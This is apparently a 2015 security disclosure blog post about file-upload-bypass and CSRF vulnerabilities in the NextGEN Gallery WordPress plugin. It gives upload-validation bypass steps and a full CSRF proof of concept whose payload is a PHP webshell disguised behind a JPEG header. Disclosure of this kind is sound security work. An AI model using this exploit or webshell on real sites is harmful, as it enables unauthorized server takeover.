1 Introduction
Please note the vulnerability detailed in this blog article was first discovered on Monday 9th March 2015, disclosed and discussed with the company concerned on March 10th and a patch was released on March 12th.
1.1 Versions and CVE
- Currently tested on NextGEN Gallery >=2.0.77.0 and WordPress 4.1.1
- CVE-2015-1784 NextGEN Gallery WordPress: file upload bypass
- CVE-2015-1785 NextGEN Gallery WordPress: CSRF
1.2 Abstract
The NextGEN Gallery plugin for WordPress is the sixth most popular plugin used to date, with over 12 Million users and 100+ extensions.
There are two vulnerabilities which can allow an attacker to gain full access over the web application. The vulnerabilities lie in how the application validates user uploaded files and lack of security measures preventing unwanted HTTP requests.
An average of 20% (2.4 million) of these installs will allow for lower level users (editors and subscribers etc.) to perform image uploads. Some of the extensions provided for the NextGEN Gallery allow for Public file uploading. Around 100,000 users have this extension according to the WordPress app store.
This means that 12 million are vulnerable to CSRF with a webshell, 2.4 million vulnerable to webshell through unsafe file upload and 100,000 vulnerable to unauthenticated unsafe file upload.
1.3 What is Arbitrary File Upload?
Files that can be uploaded to the server can represent a significant risk. The majority of attacks involve getting code onto the server to be attacked, after that the code only needs to be executed. File uploads help an attacker get code onto the server.
The consequences of an unsafe file upload can lead to complete system takeover, access to databases and defacement. It varies on how the server handles uploads, where the files are stored and what the application does.
1.4 What is Cross-Site Request Forgery (CSRF)?
Cross-Site Request Forgery is an attack that causes a user’s web browser to perform an unwanted action on a trusted site where a user is currently authenticated. CSRF attacks abuse state changes instead of theft of data or remote code execution as the attacker has no way to see the response of the request.
A CSRF Attack, for example, can force a user into changing their password, transferring funds and in the case of the vulnerabilities talked about in this article, compromise the entire application.
2 Bypassing the upload validation
NextGEN Gallery by default only allows administrators to upload images to the server, however you can allow lower level users such as editors or subscribers to upload images opening a larger attack vector. If a lower level user was given access to the upload function then this could be used in a privilege escalation type attack to gain web shell on the server. In the example below I will show an unsafe file upload leading to webshell via an editor level account.
In the above figure we can see that the file “simpleshell.jpg” has been loaded into the uploader. The file contains a very basic PHP shell. Renaming the extension from .php to .jpg allows us to bypass the first line of defense in the NextGEN plugin, which is by using client side file validation to ensure the file has a valid image extension such as JPG.
After the file has been loaded we need to intercept the request and edit a few parameters to bypass the server side validation of the file.
The server side validation checks for file extension, content-type and performs basic file analysis scanning for image headers. As seen in the figure above the request contains a very basic PHP web shell that is passed as an image.
In our edited request below you can see that to bypass the file extension validation “.php” has been appended to the end of the “simpleshell.jpg” file, thus turning this file back into a valid PHP file. The content-type was already stated as “image/jpeg” so that’s fine. Finally, to work around the file analysis a header from a valid JPEG file has been inserted above the PHP script to trick the application into thinking that this is a valid image file.
When the request is submitted we are passed an upload message stating that “1 image Upload complete”.
By default, the file path naming convention for NextGEN gallery is as follows: “/wp-content/gallery/[name of gallery]/[name of file]” This path is publically available and viewable as an unauthenticated user.
After browsing to the file and passing the “id” command to the “cmd” parameter the output is displayed on the page, confirming the PHP webshell is working. From this point it is possible to call system commands and invoke reverse shells etc.
3 Cross-site request forgery abusing unsafe file upload
Using the techniques previously stated to bypass the file upload validation it is possible to create a CSRF proof of concept (PoC). The NextGEN gallery does not implement a unique token or nonce to protect against CSRF in the file upload page allowing for unwanted HTTP requests to be made to the authenticated application by the user unknowingly via a malicious link or XSS.
The figure below illustrates the PoC file, we can see that the gallery ID that this webshell will be uploaded to is “youhascsrf” and that the file name will be “shell.jpg.php”. The techniques used to bypass the upload validation demonstrated previously were also used in this PoC.
[cpp]</p>
<p><html></p>
<p><body></p>
<p><strong> </strong><script></p>
<p><strong><em>function</em></strong> submitRequest<strong>()</strong></p>
<p><strong>{</strong></p>
<p><strong><em>var</em></strong> xhr <strong>=</strong> <strong><em>new</em></strong> XMLHttpRequest<strong>();</strong></p>
<p>xhr.open<strong>(</strong>"POST"<strong>,</strong> "http://127.0.0.1/wordpress/?photocrati_ajax=1&action=upload_image&gallery_id=0&gallery_name=youhascsrf"<strong>,</strong> <strong><em>true</em></strong><strong>);</strong></p>
<p>xhr.setRequestHeader<strong>(</strong>"Accept"<strong>,</strong> "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"<strong>);</strong></p>
<p>xhr.setRequestHeader<strong>(</strong>"Accept-Language"<strong>,</strong> "en-US,en;q=0.5"<strong>);</strong></p>
<p>xhr.setRequestHeader<strong>(</strong>"Content-Type"<strong>,</strong> "multipart/form-data; boundary=---------------------------11451489371866854212008584"<strong>);</strong></p>
<p>xhr.withCredentials <strong>=</strong> <strong><em>true</em></strong><strong>;</strong></p>
<p><strong><em>var</em></strong> body <strong>=</strong> "-----------------------------11451489371866854212008584rn" <strong>+</strong></p>
<p>"Content-Disposition: form-data; name="name"rn" <strong>+</strong></p>
<p>"rn" <strong>+</strong></p>
<p>"shell.jpgrn" <strong>+</strong></p>
<p>"-----------------------------11451489371866854212008584rn" <strong>+</strong></p>
<p>"Content-Disposition: form-data; name="file"; filename="shell.jpg.php"rn" <strong>+</strong></p>
<p>"Content-Type: image/jpegrn" <strong>+</strong></p>
<p>"rn" <strong>+</strong></p>
<p>"xffxd8xffxe0x00x10JFIFx00x01x02x00x00x01x00x01x00x00xffxfex00x04*x00xffxe2x02x1cICC_PROFILEx00x01x01x00x00x02x0clcmsx02x10x00x00mntrRGB XYZ x07xdcx00x01x00x19x00x03x00)x009acspAPPLx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-</p>
<p>lcmsx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00rn" <strong>+</strong></p>
<p>"descx00x00x00xfcx00x00x00^cprtx00x00x01\x00x00x00x0bwtptx00x00x01hx00x00x00x14bkptx00x00x01|x00x00x00x14rXYZx00x00x01x90x00x00x00x14gXYZx00x00x01xa4x00x00x00x14bXYZx00x00x01xb8x00x00x00x14rTRCx00x00x01xccx00x00x00@gTRCx00x00x01xccx00x00x00@bTRCx00x00x01xccx00x00x00@descx00x00x00x00x00x00x00x03c2x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00textx00x00x00x00FBx00x00XYZ x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-XYZ x00x00x00x00x00x00x03x16x00x00x033x00x00x02xa4XYZ x00x00x00x00x00x00oxa2x00x008xf5x00x00x03x90XYZ x00x00x00x00x00x00bx99x00x00xb7x85x00x00x18xdaXYZ x00x00x00x00x00x00$xa0x00x00x0fx84x00x00xb6xcfcurvx00x00x00x00x00x00x00x1ax00x00x00xcbx01xc9x03cx05x92x08kx0bxf6x10?x15Qx1b4!xf1)x902x18;x92Fx05Qw]xedkpzx05x89xb1x9a|xacixbf}xd3xc3xe90xffxffxffxdbx00Cx00x04x03x03x04x03x03x04x04x03x04x05x04x04x05x06rn" <strong>+</strong></p>
<p>"x3c?phprn" <strong>+</strong></p>
<p>"if(isset($_REQUEST['cmd'])){rn" <strong>+</strong></p>
<p>" $cmd = ($_REQUEST["cmd"]);rn" <strong>+</strong></p>
<p>" system($cmd);rn" <strong>+</strong></p>
<p>" echo "x3c/prex3e$cmdx3cprex3e";rn" <strong>+</strong></p>
<p>" die;rn" <strong>+</strong></p>
<p>"}rn" <strong>+</strong></p>
<p>"?x3ern" <strong>+</strong></p>
<p>"-----------------------------11451489371866854212008584--rn"<strong>;</strong></p>
<p><strong><em>var</em></strong> aBody <strong>=</strong> <strong><em>new</em></strong> Uint8Array<strong>(</strong>body.length<strong>);</strong></p>
<p><strong><em>for</em></strong> <strong>(</strong><strong><em>var</em></strong> i <strong>=</strong> 0<strong>;</strong> i <strong><</strong> aBody.length<strong>;</strong> i<strong>++)</strong></p>
<p>aBody<strong>[</strong>i<strong>]</strong> <strong>=</strong> body.charCodeAt<strong>(</strong>i<strong>);</strong></p>
<p>xhr.send<strong>(</strong><strong><em>new</em></strong> Blob<strong>([</strong>aBody<strong>]));</strong></p>
<p><strong>}</strong></p>
<p></script></p>
<p><strong> </strong><form action=<strong>"#"</strong>></p>
<p><strong> </strong><input type=<strong>"button"</strong> value=<strong>"Submit request"</strong> onclick=<strong>"submitRequest();"</strong> /></p>
<p><strong> </strong></form></p>
<p></body></p>
<p></html></p>
<p>[/cpp]
If this file was hosted externally and an administrator (or any other user with upload rights) clicked the link and submitted this request then the webshell would be uploaded to the file path “/wp-content/gallery/youhascsrf/shell.jpg.php” and then be publically available without the user’s knowledge. In the figure below, we can see that an admin is logged into a WordPress installation with the NextGEN Gallery plugin activated.
As we can see there are currently no galleries present on this application.
Figure 7- CSRF PoC loaded in browser
As this is just a PoC, the attack will trigger when the “submit request” button is clicked, however, in a real world situation this request would be submitted asynchronously without the users’ knowledge. After clicking the “submit request” button we can now see that the gallery has been created and the webshell is present.
In the figure below the “Id” command is send to the webshell and we have system access.